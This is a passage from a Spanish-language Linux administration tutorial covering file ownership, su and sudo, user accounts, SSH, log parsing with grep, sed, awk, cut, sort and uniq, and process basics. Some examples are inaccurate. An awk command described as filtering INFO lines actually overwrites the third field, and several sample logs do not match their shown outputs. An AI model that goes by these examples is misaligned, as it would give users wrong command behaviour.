</code></pre><h5 id="c-mo-cambiar-la-propiedad-de-usuario-con-chown">Cómo cambiar la propiedad de usuario con <code>chown</code></h5><p>Vamos a transferir la propiedad del usuario <code>zaira</code> al usuario <code>news</code>.</p><pre><code>chown news mymotd.sh
</code></pre><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-167.png" class="kg-image" alt="view current owner" width="600" height="400" loading="lazy"></figure><p>El comando para cambiar la propiedad: <code>sudo chown news mymotd.sh</code>.</p><p><strong>Salida:</strong></p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-168.png" class="kg-image" alt="Ownership changed" width="600" height="400" loading="lazy"></figure><h5 id="c-mo-cambiar-la-propiedad-del-usuario-y-del-grupo-simult-neamente">Cómo cambiar la propiedad del usuario y del grupo simultáneamente</h5><p>También podemos usar <code>chown</code> para cambiar el usuario y el grupo simultáneamente.</p><pre><code class="language-bash">chown user:group filename
</code></pre><h5 id="c-mo-cambiar-la-propiedad-de-carpeta">Cómo cambiar la propiedad de carpeta</h5><p>Puedes cambiar la propiedad recursivamente para los contenidos en una carpeta. El ejemplo de abajo cambia la propiedad de la carpeta <code>/opt/script</code> para permitir al usuario ser <code>admin</code>.</p><pre><code class="language-bash">chown -R admin /opt/script
</code></pre><h5 id="c-mo-cambiar-la-propiedad-de-grupo">Cómo cambiar la propiedad de grupo</h5><p>En caso que solo necesitemos cambiar el propietario del grupo, podemos usar <code>chown</code> al predecir el nombre de grupo con un dos puntos <code>:</code>.</p><pre><code class="language-bash">chown :admins /opt/script
</code></pre><h5 id="c-mo-cambiar-entre-usuarios">Cómo cambiar entre usuarios</h5><p>Podemos cambiar entre usuarios usando el comando <code>su</code>.</p><pre><code class="language-bash">[user01@host ~]$ su user02
Password:
[user02@host ~]$
</code></pre><h5 id="c-mo-ganar-acceso-de-superusuario">Cómo ganar acceso de superusuario</h5><p>El super usuario o el usuario root tiene el nivel de acceso másalto en un sistema Linux. El usuario root puede realizar cualquier operación en el sistema. El usuario root puede acceder a todos los archivos y carpetas, instalar y quitar software, y modificar o sobreescribir configuraciones de sistema.</p><p>Un gran poder conlleva una gran responsabilidad. Si el usuario root está comprometido, alguien puede ganar control completo sobre el sistema. Es aconsejable usar las cuentas de usuario root solamente cuando sea necesario.</p><p>Si omites el nombre de usuario, el comando <code>su</code> cambia a la cuenta de usuario root por defecto.</p><pre><code class="language-bash">[user01@host ~]$ su
Password:
[root@host ~]#
</code></pre><p>Otra variante del comando <code>su</code> es <code>su -</code>. El comando <code>su</code> cambia a la cuenta de usuario root pero no cambia las variables de entorno. El comando <code>su -</code> cambia a la cuenta de usuario root y cambia las variables de entorno a los del usuario objetivo.</p><h5 id="ejecutar-comandos-con-sudo">Ejecutar comandos con sudo</h5><p>Para ejecutar comandos como el usuario <code>root</code> sin cambiar a la cuenta de usuario <code>root</code>, puedes usar el comando <code>sudo</code>. El comando <code>sudo</code> te permite ejecutar comandos con privilegios elevados.</p><p>Ejecutar comandos con <code>sudo</code> es una opción más segura que ejecutar los comandos como usuario <code>root</code>. Esto es porque, solamente un conjunto específico de usuarios se les da el permiso de ejecutar comandos con <code>sudo</code>. Esto se define en el archivo <code>/etc/sudoers</code>.</p><p>También, <code>sudo</code> muestra en un archivo log todos los comandos con los que ejecuto, proveyendo una pista de auditoría de quién ejecutó qué comando y cuándo.</p><p>En Ubuntu, puedes encontrar los archivos log de auditoría aquí:</p><pre><code class="language-bash">cat /var/log/auth.log | grep sudo
</code></pre><p>Para un usuario que no tiene acceso a <code>sudo</code>, se marca en los registros y muestra un mensaje así:</p><pre><code class="language-bash">user01 is not in the sudoers file.  This incident will be reported.
</code></pre><h4 id="manejar-cuentas-de-usuario-locales">Manejar cuentas de usuario locales</h4><h5 id="crear-usuarios-desde-la-l-nea-de-comandos">Crear usuarios desde la línea de comandos</h5><p>El comando usado para agregar un nuevo usuario es:</p><pre><code class="language-bash">sudo useradd username
</code></pre><p>Este comando configura un directorio home del usuario y crea un grupo privado designado por el nombre de usuario del usuario. Actualmente, a la cuenta le falta una contraseña válida, previniendo al usuario de iniciar sesión hasta que una contraseña se cree.</p><h5 id="modificar-los-usuarios-existentes">Modificar los usuarios existentes</h5><p>El comando <code>usermod</code> se usa para modificar usuarios existentes. Aquí hay algunas de las opciones comunes usados con el comando <code>usermod</code>:</p><p>Aquí algunos de los ejemplos del comando <code>usermod</code> en Linux:</p><p><strong>Cambiar un nombre de inicio de sesión del usuario:</strong></p><pre><code class="language-bash"> sudo usermod -l newusername oldusername
</code></pre><p><strong>Cambiar una carpeta de inicio del usuario:</strong></p><pre><code class="language-bash"> sudo usermod -d /new/home/directory -m username
</code></pre><p><strong>Agregar un usuario a un grupo suplementario:</strong></p><pre><code class="language-bash"> sudo usermod -aG groupname username
</code></pre><p><strong>Cambiar un shell del usuario:</strong></p><pre><code class="language-bash"> sudo usermod -s /bin/bash username
</code></pre><p><strong>Bloquear una cuenta de usuario:</strong></p><pre><code class="language-bash"> sudo usermod -L username
</code></pre><p><strong>Desbloquear una cuenta de usuario:</strong></p><pre><code class="language-bash"> sudo usermod -U username
</code></pre><p><strong>Establecer una fecha de vencimiento para una cuenta de usuario:</strong></p><pre><code class="language-bash"> sudo usermod -e YYYY-MM-DD username
</code></pre><p><strong>Cambiar el ID del usuario (UID):</strong></p><pre><code class="language-bash"> sudo usermod -u newUID username
</code></pre><p><strong>Cambiar el grupo primario del usuario:</strong></p><pre><code class="language-bash"> sudo usermod -g newgroup username
</code></pre><p><strong>Quitar un usuario de un grupo suplementario:</strong></p><pre><code class="language-bash">sudo gpasswd -d username groupname
</code></pre><h5 id="eliminar-usuarios">Eliminar usuarios</h5><p>El comando <code>userdel</code> se usa para eliminar una cuenta de usuario y archivos relacionados desde el sistema.</p><ul><li><code>sudo userdel username</code>: quita los detalles del usuario desde <code>/etc/passwd</code> pero mantiene la carpeta de inicio del usuario.</li><li>El comando <code>sudo userdel -r username</code> quita los detalles del usuario desde <code>/etc/passwd</code> y también elimina la carpeta de inicio del usuario.</li></ul><h5 id="cambiar-las-contrase-as-de-usuario">Cambiar las contraseñas de usuario</h5><p>El comando <code>passwd</code> se usa para cambiar la contraseña de usuario.</p><ul><li><code>sudo passwd username</code>: pone la contraseña inicial o cambia la contraseña existente de nombre de usuario. También se usa para cambiar la contraseña del usuario actual que inició sesión.</li></ul><!--kg-card-begin: html--><h3 id="conectandose-sevidores-remotos-a-traves-ssh">8.2 Conectándose a Servidores Remotos a través de SSH</h3><!--kg-card-end: html--><p>Accediendo a los servidores remotos es una de las tareas esenciales para administradores de sistema. Puedes conectarte a distintos servidores o acceder a bases de datos a través de tu máquina local y ejecutar comandos, todos usando SSH.</p><p><strong>¿Qué es el protocol SSH?</strong></p><p>SSH significa Shell Seguro (Secure Shell). Es un protocolo de red criptográfico que permite la comunicación segura entre dos sistemas.</p><p>El puerto predeterminado para SSH es <code>22</code>.</p><p>Los dos participantes mientras se comunican a través de SSH son:</p><ul><li>El servidor: la máquina a la que quieres acceder.</li><li>El cliente: El sistema desde el que estás accediendo al servidor.</li></ul><p>La conexión a un servidor sigue estos pasos:</p><ol><li>Iniciar una Conexión: El cliente envía una petición de conexión al servidor.</li><li>Intercambio de Claves: El servidor envía su clave pública al cliente. Ambos se ponen de acuerdo en el método de encripción a usar.</li><li>Generación de Clave de Sesión: El cliente y el servidor usan el intercambio de claves Diffie-Hellman para crear una clave de sesión compartida.</li><li>Autenticación de Cliente: El Cliente inicia sesión en el servidor usando una contraseña, clave privada, u otro método.</li><li>Comunicación Segura: Después de la autenticación, el cliente y el servidor se comunican de forma segura con encriptación.</li></ol><p><strong>¿Cómo conectarse a un servidor remoto usando SSH?</strong></p><p>El comando <code>ssh</code> es una utilidad incorporada en Linux y también el predeterminado. Hace que el acceso a los servidores bastante fácil y seguro.</p><p>Aquí, estamos hablando sobre cómo el cliente haría una conexión al servidor.</p><p>Antes de conectarse a un servidor, necesitas tener la siguiente información:</p><ul><li>La dirección IP o el nombre de dominio del servidor.</li><li>El nombre de usuario y contraseña del servidor.</li><li>El número de puerto del que tienes acceso en el servidor.</li></ul><p>La sintaxis básica del comando <code>ssh</code> es:</p><pre><code class="language-bash">ssh username@server_ip
</code></pre><p>Por ejemplo, si tu nombre de usuario es <code>john</code> y la IP del servidor es <code>192.168.1.10</code>, el comando sería:</p><pre><code class="language-bash">ssh john@192.168.1.10
</code></pre><p>Después de eso, se te mostrará un mensaje para que ingreses la contraseña secreta. Tu pantalla se verá similar a esto:</p><pre><code class="language-bash">john@192.168.1.10's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jun  5 10:17:32 UTC 2024

  System load:  0.08               Processes:           122
  Usage of /:   12.3% of 19.56GB   Users logged in:     1
  Memory usage: 53%                IP address for eth0: 192.168.1.10
  Swap usage:   0%

Last login: Fri Jun  5 09:34:56 2024 from 192.168.1.2
john@hostname:~$ # start entering commands
</code></pre><p>Ahora puedes ejecutar los comandos relevantes en el servidor <code>192.168.1.10</code>.</p><p>⚠️ El puerto predeterminado para ssh es <code>22</code> pero también es vulnerable, ya que los hackers probablemente intentarán aquí primero. Tu servidor puede exponer otro puerto y compartir el acceso contigo. Para conectarse a un puerto distinto, usa el argumento <code>-p</code>.</p><pre><code class="language-bash">ssh -p port_number username@server_ip
</code></pre><!--kg-card-begin: html--><h3 id="analisis-sintactico-y-analisis-log-avanzado">8.3. Análisis Sintáctico y Análisis de Archivos Log Avanzado</h3><!--kg-card-end: html--><p>Los archivos log, cuando se configuren, son generados por tu sistema por una variedad de razones. Pueden ser usado para rastrear eventos de sistema, monitorear el rendimiento del sistema, y solventar problemas. Son útiles especialmente para los administradores de sistema cuando pueden rastrear errores de aplicación, eventos de red, y actividad de usuario.</p><p>Aquí hay un ejemplo de un archivo log:</p><pre><code class="language-bash"># ejemplo de un archivo log
2024-04-25 09:00:00 INFO Startup: Application starting
2024-04-25 09:01:00 INFO Config: Configuration loaded successfully
2024-04-25 09:02:00 DEBUG Database: Database connection established
2024-04-25 09:03:00 INFO User: New user registered (UserID: 1001)
2024-04-25 09:04:00 WARN Security: Attempted login with incorrect credentials (UserID: 1001)
2024-04-25 09:05:00 ERROR Network: Network timeout on request (ReqID: 456)
2024-04-25 09:06:00 INFO Email: Notification email sent (UserID: 1001)
2024-04-25 09:07:00 DEBUG API: API call with response time over threshold (Duration: 350ms)
2024-04-25 09:08:00 INFO Session: User session ended (UserID: 1001)
2024-04-25 09:09:00 INFO Shutdown: Application shutdown initiated
</code></pre><p>Un archivo log usualmente contiene las siguientes columnas:</p><ul><li>Marca de tiempo: La fecha y el tiempo cuando el evento ocurrió.</li><li>Nivel de Log: La severidad del evento (INFO, DEBUG, WARN, ERROR).</li><li>Componente: El componente del sistema que generó el evento (Startup, Config, Database, User, Security, Network, Email, API, Session, Shutdown).</li><li>Mensaje: Una descripción del evento que ocurrió.</li><li>Información adicional: Información adicional relacionado al evento.</li></ul><p>En sistemas de tiempo real, los archivos log tienden an ser miles de líneas de largo y son generados a cada segundo. Pueden ser verbosos dependiendo de la configuración. Cada columna en un archivo log es una pieza de información que puede ser usado para rastrear problemas. Esto hace que los archivos log sean difíciles de leer y de entender manualmente.</p><p>Aquí es donde viene el análisis de archivos log. El análisis estático de archivos log es el proceso de extraer información útil de los archivos log. Involucra descomponer los archivos log en piezas pequeñas más manejables, y extraer la información relevante.</p><p>La información filtrada también puede ser útil para crear alertas, reportes y paneles.</p><p>En esta sección, explorarás algunas de las técnicas para análisis de archivos log en Linux.</p><h4 id="extracci-n-de-texto-usando-grep">Extracción de texto usando <code>grep</code></h4><p>Grep es una utilidad incorporada de bash. Significa "Búsqueda global de expresiones regulares". Grep se usa para hacer coincidir cadenas en archivos.</p><p>Aquí hay algunos usos comunes de <code>grep</code>:</p><p><strong>Buscar una cadena específica en un archivo:</strong></p><pre><code class="language-bash"> grep "search_string" filename
</code></pre><p>Este comando busca "search_string" en el archivo llamado <code>filename</code>.</p><p><strong>Buscar de forma recursiva en las carpetas:</strong></p><pre><code class="language-bash"> grep -r "search_string" /path/to/directory
</code></pre><p>Este comando busca "<code>search_string</code>" en todos los archivos dentro de la carpeta especificada y sus sub-carpetas.</p><p><strong>Ignorar mayúsculas y minúsculas mientras se busca:</strong></p><pre><code class="language-bash"> grep -i "search_string" filename
</code></pre><p>Este comando realiza una búsqueda sin importar mayúsculas o minúsculas de "search_string" en el archivo llamado <code>filename</code>.</p><p><strong>Mostrar números de línea con líneas coincidentes:</strong></p><pre><code class="language-bash"> grep -n "search_string" filename
</code></pre><p>Este comando muestra los números de línea juntamente con las líneas coincidentes en el archivo llamado <code>filename</code>.</p><p><strong>Cuenta el número de líneas coincidentes:</strong></p><pre><code class="language-bash"> grep -c "search_string" filename
</code></pre><p>Este comando cuenta el número de líneas que contiene "search_string" en el archivo llamado <code>filename</code>.</p><p><strong>Invertir las coincidencias para mostrar líneas que no coinciden:</strong></p><pre><code class="language-bash"> grep -v "search_string" filename
</code></pre><p>Este comando muestra todas las líneas que no contienen "search_string" en el archivo llamado <code>filename</code>.</p><p><strong>Busca una palabra entera:</strong></p><pre><code class="language-bash"> grep -w "word" filename
</code></pre><p>Este comando busca la palabra "word" entera en el archivo llamado <code>filename</code>.</p><p><strong>Usar expresiones regulares extendidas:</strong></p><pre><code class="language-bash"> grep -E "pattern" filename
</code></pre><p>Este comando permite el uso de las expresiones regulares extendidas para una coincidencia de patrón más complejo en el archivo llamado <code>filename</code>.</p><p><strong>💡 Consejo:</strong> Si hay múltiples archivos en una carpeta, puedes usar el comando de abajo para encontrar la lista de archivos que contienen las cadenas deseadas.</p><pre><code class="language-bash"># encuentra la lista de archivos que contienen las cadenas deseadas
grep -l "String to Match" /path/to/directory
</code></pre><h4 id="extracci-n-de-texto-usando-sed">Extracción de texto usando <code>sed</code></h4><p><code>sed</code> significa "editor de stream". Procesa flujo de datos, lo que significa que lee datos una línea a la vez. <code>sed</code> te permite buscar patrones y realizar acciones en las líneas que coinciden con esos patrones.</p><p><strong>Sintaxis básica de </strong><code>sed</code>:</p><p>La sintaxis básica de <code>sed</code> es como sigue:</p><pre><code class="language-bash">sed [options] 'command' file_name
</code></pre><p>Aquí, <code>command</code> se usa para realizar operaciones como substitución, eliminación, inserción, y así sucesivamente, en los datos de texto. El nombre de archivo es el nombre del archivo que quieres procesar.</p><p><strong>Uso de </strong><code>sed</code>:</p><p><strong>1. Substitución:</strong></p><p>El argumento <code>s</code> se usa para reemplazar texto. El <code>old-text</code> se reemplaza con <code>new-text</code>:</p><pre><code class="language-bash">sed 's/old-text/new-text/' filename
</code></pre><p>Por ejemplo, para cambiar todas las instancias de "error" a "warning" en el archivo log <code>system.log</code>:</p><pre><code class="language-bash">sed 's/error/warning/' system.log
</code></pre><p><strong>2. Imprimiendo líneas que contienen un patrón específico:</strong></p><p>Usando <code>sed</code> para filtrar y mostrar las líneas que coinciden con un patrón específico:</p><pre><code class="language-bash">sed -n '/pattern/p' filename
</code></pre><p>Por ejemplo, para encontrar todas las líneas que contienen "ERROR":</p><pre><code class="language-bash">sed -n '/ERROR/p' system.log
</code></pre><p><strong>3. Eliminar líneas que contienen un patrón específico:</strong></p><p>Puedes eliminar líneas desde la salida que coinciden un patrón específico:</p><pre><code class="language-bash">sed '/pattern/d' filename
</code></pre><p>Por ejemplo, para quitar todas las líneas que contienen "DEBUG":</p><pre><code class="language-bash">sed '/DEBUG/d' system.log
</code></pre><p><strong>4. Extrayendo campos específicos desde una línea log:</strong></p><p>Puedes usar expresiones regulares para extraer partes de líneas. Supón que cada línea del archivo log comienza con una fecha en el formato "YYYY-MM-DD". Podrías extraer sólo la fecha de cada línea:</p><pre><code class="language-bash">sed -n 's/^\([0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}\).*/\1/p' system.log
</code></pre><h4 id="an-lisis-de-texto-con-awk">Análisis de Texto con <code>awk</code></h4><p><code>awk</code> tiene la habilidad de separar cada línea fácilmente en los campos. Es adecuado para procesar texto estructurado como archivos log.</p><p><strong>Sintaxis Básica de </strong><code>awk</code></p><p>La sintaxis básica de <code>awk</code> es:</p><pre><code class="language-bash">awk 'pattern { action }' file_name
</code></pre><p>Aquí, <code>pattern</code> es una condición que se debe cumplir para que <code>action</code> se ejecute. Si el patrón se omite, la acción se ejecuta en cada línea.</p><p>En los próximos ejemplos, usarás este archivo de log como ejemplo:</p><pre><code class="language-bash">2024-04-25 09:00:00 INFO Startup: Application starting
2024-04-25 09:01:00 INFO Config: Configuration loaded successfully
2024-04-25 09:02:00 INFO Database: Database connection established
2024-04-25 09:03:00 INFO User: New user registered (UserID: 1001)
2024-04-25 09:04:00 INFO Security: Attempted login with incorrect credentials (UserID: 1001)
2024-04-25 09:05:00 INFO Network: Network timeout on request (ReqID: 456)
2024-04-25 09:06:00 INFO Email: Notification email sent (UserID: 1001)
2024-04-25 09:07:00 INFO API: API call with response time over threshold (Duration: 350ms)
2024-04-25 09:08:00 INFO Session: User session ended (UserID: 1001)
2024-04-25 09:09:00 INFO Shutdown: Application shutdown initiated
  INFO
</code></pre><ul><li><strong>Accediendo a columnas usando </strong><code>awk</code></li></ul><p>Los campos en <code>awk</code> (separados por espacio de forma predeterminada) pueden ser accedidos usando <code>$1</code>, <code>$2</code>, <code>$3</code>, y así sucesivamente.</p><pre><code class="language-bash">zaira@zaira-ThinkPad:~$ awk '{ print $1 }' sample.log
# salida
2024-04-25
2024-04-25
2024-04-25
2024-04-25
2024-04-25
2024-04-25
2024-04-25
2024-04-25
2024-04-25
2024-04-25

zaira@zaira-ThinkPad:~$ awk '{ print $2 }' sample.log
# salida
09:00:00
09:01:00
09:02:00
09:03:00
09:04:00
09:05:00
09:06:00
09:07:00
09:08:00
09:09:00
</code></pre><ul><li><strong>Imprimir líneas que contienen un patrón específico (por ejemplo, ERROR)</strong></li></ul><pre><code class="language-bash">awk '/ERROR/ { print $0 }' logfile.log

# salida
2024-04-25 09:05:00 ERROR Network: Network timeout on request (ReqID: 456)
</code></pre><p>Esto imprime todas las líneas que contienen "ERROR".</p><ul><li><strong>Extraer el primer campo (Fecha y Hora)</strong></li></ul><pre><code class="language-bash">awk '{ print $1, $2 }' logfile.log
# salida
2024-04-25 09:00:00
2024-04-25 09:01:00
2024-04-25 09:02:00
2024-04-25 09:03:00
2024-04-25 09:04:00
2024-04-25 09:05:00
2024-04-25 09:06:00
2024-04-25 09:07:00
2024-04-25 09:08:007
2024-04-25 09:09:00
</code></pre><p>Esto extraerá los dos primeros campos de cada línea, el cual en este caso sería la fecha y hora.</p><ul><li><strong>Resumir las ocurrencias de cada nivel de log</strong></li></ul><pre><code class="language-bash">awk '{ count[$3]++ } END { for (level in count) print level, count[level] }' logfile.log

# output
 1
WARN 1
ERROR 1
DEBUG 2
INFO 6
</code></pre><p>La salida será un resumen del número de ocurrencias de cada nivel de log.</p><ul><li><strong>Filtra campos específicos (por ejemplo, donde el 3er campo es INFO)</strong></li></ul><pre><code class="language-bash">awk '{ $3="INFO"; print }' sample.log

# salida
2024-04-25 09:00:00 INFO Startup: Application starting
2024-04-25 09:01:00 INFO Config: Configuration loaded successfully
2024-04-25 09:02:00 INFO Database: Database connection established
2024-04-25 09:03:00 INFO User: New user registered (UserID: 1001)
2024-04-25 09:04:00 INFO Security: Attempted login with incorrect credentials (UserID: 1001)
2024-04-25 09:05:00 INFO Network: Network timeout on request (ReqID: 456)
2024-04-25 09:06:00 INFO Email: Notification email sent (UserID: 1001)
2024-04-25 09:07:00 INFO API: API call with response time over threshold (Duration: 350ms)
2024-04-25 09:08:00 INFO Session: User session ended (UserID: 1001)
2024-04-25 09:09:00 INFO Shutdown: Application shutdown initiated
  INFO
</code></pre><p>Este comando extraerá todas las líneas donde el 3er campo es "INFO".</p><p>💡 <strong>Consejo:</strong> El separador predeterminado en <code>awk</code> es un espacio. Si tu archivo log usa un separador distinto, puedes especificarlo usando la opción <code>-F</code>. Por ejemplo, si tu archivo log usa un dos puntos como separador, puedes usar <code>awk -F: '{ print $1 }' logfile.log</code> para extraer el primer campo.</p><h4 id="an-lisis-de-archivos-log-con-cut">Análisis de archivos log con <code>cut</code></h4><p>El comando <code>cut</code> es una comando sencillo aunque potente usado para extraer secciones de texto de cada línea de la entrada. Siempre y cuando los archivos estén estructurados y cada campo esté delimitado por un caracter específico, tales como un espacio, tabulación, o un delimitador personalizado, <code>cut</code> hace un muy buen trabajo al extraer esos campos específicos.</p><p>La sintaxis básica del comando <code>cut</code> es:</p><pre><code class="language-bash">cut [opciones] [archivo]
</code></pre><p>Algunas de las opciones usados comúnmente para el comando <code>cut</code>:</p><ul><li><code>-d</code> : Especifica un delimitador usado como el separador de campo.</li><li><code>-f</code> : Selecciona los campos para que se muestren.</li><li><code>-c</code> : Especifica las posiciones de cada caracter.</li></ul><p>Por ejemplo, el comando de abajo extraería el primer campo (separado por un espacio) de cada línea del archivo log:</p><pre><code class="language-bash">cut -d ' ' -f 1 logfile.log
</code></pre><p><strong>Ejemplos de uso de </strong><code>cut</code> <strong>para análisis de archivos log</strong></p><p>Digamos que tienes un archivo log estructurado como sigue, donde los campos están separados por espacio:</p><pre><code class="language-bash">2024-04-25 08:23:01 INFO 192.168.1.10 User logged in successfully.
2024-04-25 08:24:15 WARNING 192.168.1.10 Disk usage exceeds 90%.
2024-04-25 08:25:02 ERROR 10.0.0.5 Connection timed out.
...
</code></pre><p><code>cut</code> puede ser usado de las siguientes formas:</p><ol><li><strong>Extraer la hora de cada entrada del archivo log</strong>:</li></ol><pre><code class="language-bash">cut -d ' ' -f 2 system.log

# Output
08:23:01
08:24:15
08:25:02
...
</code></pre><p>Este comando usa un espacio como un delimitador y selecciona el segundo campo, el cual es el componente hora de cada entrada del archivo log.</p><p><strong>2. &nbsp;Extraer las direcciones IP de los archivos log</strong>:</p><pre><code class="language-bash">cut -d ' ' -f 4 system.log

# Output
192.168.1.10
192.168.1.10
10.0.0.5
</code></pre><p>Este comando extraer el cuarto campo, el cual es la dirección IP de cada entrada del log.</p><p><strong>3. &nbsp;Extraer niveles de log (INFO, WARNING, ERROR)</strong>:</p><pre><code class="language-bash">cut -d ' ' -f 3 system.log

# Salida
INFO
WARNING
ERROR
</code></pre><p>Esto extrae el tercer campo el cual contiene el nivel log.</p><p><strong>4. &nbsp;Combinando</strong> <code>cut</code> <strong>con otros comandos:</strong></p><p>La salida de otros comandos puede ser canalizado al comando <code>cut</code>. Digamos que quieres filtrar los logs antes de cortar. Puedes usar <code>grep</code> para extraer las líneas que contienen "ERROR" y luego usa <code>cut</code> para obtener información específica de esas líneas:</p><pre><code class="language-bash">grep "ERROR" system.log | cut -d ' ' -f 1,2 

# Output
2024-04-25 08:25:02
</code></pre><p>Este comando primero filtra las líneas que incluyen "ERROR", luego extrae la fecha y hora de estas líneas.</p><p><strong>5. &nbsp;Extraer múltiples campos</strong>:</p><p>Es posible extraer múltiples campos a la vez al especificar un rango o una lista de campos separado por coma:</p><pre><code class="language-bash">cut -d ' ' -f 1,2,3 system.log` 

# Salida
2024-04-25 08:23:01 INFO
2024-04-25 08:24:15 WARNING
2024-04-25 08:25:02 ERROR
...
</code></pre><p>El comando de arriba extrae los tres primeros campos de cada entrada log que son la fecha, hora, y nivel log.</p><h4 id="an-lisis-sint-ctico-de-archivos-log-con-sort-y-uniq">Análisis sintáctico de archivos log con <code>sort</code> y <code>uniq</code></h4><p>Ordenar y quitar duplicados son operaciones comunes cuando se trabaja con archivos log. Los comandos <code>sort</code> y <code>uniq</code> son comandos poderosos usados para ordenar y quitar duplicados de las entradas, respectivamente.</p><p><strong>Sintaxis básica de sort</strong></p><p>El comando <code>sort</code> organiza las líneas de texto de forma alfabética o numérica.</p><pre><code class="language-bash">sort [opciones] [archivo]
</code></pre><p>Algunas opciones claves para el comando sort:</p><ul><li><code>-n</code>: Ordena el archivo asumiendo que los contenidos son numéricos.</li><li><code>-r</code>: Invierte el orden de sort.</li><li><code>-k</code>: Especifica una clave o número de columna con el cual ordena.</li><li><code>-u</code>: Ordena y quita líneas duplicadas.</li></ul><p>El comando <code>uniq</code> se usa para filtrar o contar y reportar líneas repetidas en un archivo.</p><p>La sintaxis de <code>uniq</code> es:</p><pre><code class="language-bash">uniq [opciones] [archivo_entrada] [archivo_salida]
</code></pre><p>Algunas opciones claves para el comando <code>uniq</code> son:</p><ul><li><code>-c</code>: Prefija líneas por el número de ocurrencias.</li><li><code>-d</code>: Solamente imprime líneas duplicadas.</li><li><code>-u</code>: Solamente imprime líneas únicas.</li></ul><h4 id="ejemplos-de-usar-sort-y-uniq-juntos-para-an-lisis-de-archivos-log">Ejemplos de usar <code>sort</code> y <code>uniq</code> juntos para análisis de archivos log</h4><p>Asumamos las siguientes de entradas de registro de ejemplo para estas demostraciones:</p><pre><code class="language-bash">2024-04-25 INFO User logged in successfully.
2024-04-25 WARNING Disk usage exceeds 90%.
2024-04-26 ERROR Connection timed out.
2024-04-25 INFO User logged in successfully.
2024-04-26 INFO Scheduled maintenance.
2024-04-26 ERROR Connection timed out.
</code></pre><ol><li><strong>Ordenar entradas log por fecha</strong>:</li></ol><pre><code class="language-bash">sort system.log

# Salida
2024-04-25 INFO User logged in successfully.
2024-04-25 INFO User logged in successfully.
2024-04-25 WARNING Disk usage exceeds 90%.
2024-04-26 ERROR Connection timed out.
2024-04-26 ERROR Connection timed out.
2024-04-26 INFO Scheduled maintenance.
</code></pre><p>Esto ordena las entradas log de forma alfabética, el cual ordena efectivamente por fecha si la fecha es el primer campo.</p><p><strong>2. &nbsp;Ordenar y quitar duplicados</strong>:</p><pre><code class="language-bash">sort system.log | uniq

# Salida
2024-04-25 INFO User logged in successfully.
2024-04-25 WARNING Disk usage exceeds 90%.
2024-04-26 ERROR Connection timed out.
2024-04-26 INFO Scheduled maintenance.
</code></pre><p>Este comando ordena el archivo log y lo canaliza a <code>uniq</code>, quitando líneas duplicadas.</p><p><strong>3. &nbsp;Contando ocurrencias de cada línea</strong>:</p><pre><code class="language-bash">sort system.log | uniq -c

# Salida
2 2024-04-25 INFO User logged in successfully.
1 2024-04-25 WARNING Disk usage exceeds 90%.
2 2024-04-26 ERROR Connection timed out.
1 2024-04-26 INFO Scheduled maintenance.
</code></pre><p>Ordena las entradas de log y luego cuenta cada línea única. Según la salida, la línea <code>'2024-04-25 INFO User logged in successfully.'</code> apareció 2 veces en el archivo.</p><p><strong>4. &nbsp;Identificar entradas de log únicas</strong>:</p><pre><code class="language-bash">sort system.log | uniq -u

# Salida

2024-04-25 WARNING Disk usage exceeds 90%.
2024-04-26 INFO Scheduled maintenance.
</code></pre><p>Este comando muestra las líneas que son únicas.</p><p><strong>5. &nbsp;Ordenar por nivel de by log level</strong>:</p><pre><code class="language-bash">sort -k2 system.log

# Salida
2024-04-26 ERROR Connection timed out.
2024-04-26 ERROR Connection timed out.
2024-04-25 INFO User logged in successfully.
2024-04-25 INFO User logged in successfully.
2024-04-26 INFO Scheduled maintenance.
2024-04-25 WARNING Disk usage exceeds 90%.
</code></pre><p>Ordena las entradas basado en el segundo campo, el cual es el nivel de registro.</p><!--kg-card-begin: html--><h3 id="gestionando-procesos-de-linux">8.4. Gestionando procesos de Linux a través de la Línea de Comandos</h3><!--kg-card-end: html--><p>Un proceso es una instancia de un programa en ejecución. Un proceso consiste de:</p><ul><li>Un espacio de dirección de la memora alojada.</li><li>Estado del Proceso.</li><li>Propiedades tales como propiedad, atributos de seguridad, y uso de recursos.</li></ul><p>Un proceso también tiene un entorno que consiste de:</p><ul><li>Variables locales y globales</li><li>El contexto de programación actual</li><li>Recursos de sistema alojados, tales como puertos de red o descriptores de archivo.</li></ul><p>Cuando ejecutes el comando <code>ls -l</code>, el sistema operativo crea un nuevo proceso para ejecutar el comando. El proceso tiene un ID, un estado, y ejecuta hasta que el comando se complete.</p><h4 id="entendiendo-la-creaci-n-de-procesos-y-el-ciclo-de-vida">Entendiendo la creación de procesos y el ciclo de vida</h4><p>En Ubuntu, todos los procesos se originan desde el proceso del sistema inicial llamado <code>systemd</code>, el cual el primer proceso comenzó por el kernel durante el arrnque.</p><p>El proceso <code>systemd</code> tiene un ID de proceso (PID) de <code>1</code> y es responsable por inicializar el sistema, comenzar y gestionar otros procesos, y manejar servicios de sistema. Todos los otros procesos en el sistema son descendientes de <code>systemd</code>.</p><p>Un proceso padre duplica su propio espacio de dirección (fork) para crear una nueva estructura de proceso. Cada nuevo proceso se le asigna un ID de proceso único (PID) para rastrear y por propósitos de seguridad. El PID y el ID del proceso del padre (PPID) son parte del nuevo entorno del proceso. Cualquier proceso puede crear un proceso hijo.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719584071059/f24fac4b-18f3-4a39-8659-93d32c533256.png" class="kg-image" alt="Process and its initialization to parent and child" width="473" height="649" loading="lazy"></figure><p>A través de la rutina de fork, un proceso hijo hereda identidades de seguridad, descriptores de archivo previos y actuales, puertos y privilegios de recursos, variables de entorno, y código de programa. Un proceso hijo podría ejecutar su propio código de programa.</p><p>Típicamente, un proceso padre se duerme mientras el proceso hijo se ejecuta, estableciendo una petición (wait) para ser notificado cuando el hijo se completa.</p><p>Al salir, el proceso hijo ya se cerrado o descartado sus recursos y entorno. El único recurso que permanece, conocido como un zombie, es una entrada en la table del proceso. El padre, señalado como despierto cuando el hijo termina, limpia la tabla del proceso de la entrada del hijo, de esa forma liberando el último recurso del proceso hijo. El proceso padre luego continua ejecutando su propio código de programa.</p><h4 id="entendiendo-los-estados-del-proceso">Entendiendo los 